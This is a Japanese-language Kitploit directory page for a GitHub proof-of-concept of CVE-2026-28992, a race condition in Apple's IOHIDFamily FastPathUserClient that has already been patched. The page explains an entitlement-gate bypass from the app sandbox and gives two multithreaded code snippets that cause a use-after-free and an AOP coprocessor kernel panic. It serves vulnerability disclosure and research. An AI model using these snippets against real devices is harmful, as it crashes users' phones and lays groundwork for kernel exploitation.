Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions — IOHIDEventServiceFastPathUserClient における UAF および AOP コプロセッサのパニック。エンタイトルメントは不要で、アプリのサンドボックスから到達可能。 | Kitploit
ツール/GitHubGitHub/0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions
特権昇格iOSセキュリティ脆弱性分析エクスプロイトペネトレーションテストモバイルセキュリティレッドチーミングバイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions

CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions

IOHIDEventServiceFastPathUserClient における UAF および AOP コプロセッサのパニック。エンタイトルメントは不要で、アプリのサンドボックスから到達可能。

リポジトリを見る
133351ヶ月前未レビュー

CVE-2026-28992: IOHIDFamily FastPathUserClient の競合状態

CVE-2026-28992 | 著者: Johnny Franks (@0xjohnny)

コンポーネント: IOHIDFamily

影響: 攻撃者が予期しないアプリ終了を引き起こす可能性がある

説明: メモリ破壊の脆弱性が、ロックの改善により修正されました。

— Apple セキュリティコンテンツ、iOS 26.5 および iPadOS 26.5

両方の PoC はカーネルパニックを引き起こし、影響を受けたデバイスを再起動させます。先に作業内容を保存してください。

IOHIDEventServiceFastPathUserClient (IOHIDFamily kext) における 2 つの競合状態。エンタイトルメントは不要。通常のアプリサンドボックスから到達可能。

両方のベクターは IOServiceOpen(service, task, 2, &conn) を使用します。sel0 のオープンゲートは、initWithTask 中に保存されたエンタイトルメントフラグではなく、呼び出し元が提供した OSDictionary 内の FastPathHasEntitlement と FastPathMotionEventEntitlement をチェックします。サンドボックス化されたアプリは、入力構造体にこれらのキーを含めることでゲートを通過できます。

UAF — copyEvent 競合

// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
    IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}

// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
    IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
    IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}

// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
    uint64_t args[2] = { 0, 1 };
    IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}

クローズパス (sel1) はプロバイダの状態を破棄し、ロックなしで +0x109 をクリアします。copyEvent (sel2) は接続ごとのロックの下で別のフラグ (+0x108) をチェックし、その後プロバイダを呼び出します。同じプロバイダへの複数の接続は、共有されたプロバイダ側オブジェクトに対して、クローズと copyEvent が異なるロックドメインで動作することを意味します。

AOP パニック — 終了競合

// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
    IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// opener threads: continuous close → reopen
while (!stop) {
    IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
    IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
    // create + gate 16 probe connections
    io_connect_t probes[16];
    for (int i = 0; i < 16; i++) {
        IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
        IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
    }

    // destroy all probes — each fires async didTerminate → teardown
    // teardown removes/frees provider-facing state while opener threads iterate
    // provider-facing state via the open path
    for (int i = 0; i < 16; i++)
        mach_port_destroy(mach_task_self(), probes[i]);

    usleep(80000); // 80ms race window
}

mach_port_destroy は非同期の didTerminate → close/teardown をトリガーし、他の接続での同時 sel0 オープンパスと同期されません。これはまた、SPU バックエンドのプロバイダのメールボックスを飽和させ、AOP ウォッチドッグタイムアウトを引き起こします。

内容

パス説明
UAFPoc/iOS アプリ — UAF をトリガー (A17 以降では MTE タグフォールト、A17 以前ではデータアボート)
AOPPanicPoc/iOS アプリ — SPU メールボックス飽和を介して AOP コプロセッサパニックをトリガー
panic-logs/mte-tag-fault.ipsカーネルタグチェックフォールト — iPhone 17 Pro Max (A19 Pro、MTE+PAC)
panic-logs/ipad-data-abort.ipsカーネルデータアボート — iPad Pro 12.9" 第 2 世代 (A10X、MTE/PAC なし)
panic-logs/aop-panic.ipsAOP コプロセッサパニック — iPhone 17 Pro Max (SPU メールボックスオーバーフロー)
ツールをダウンロード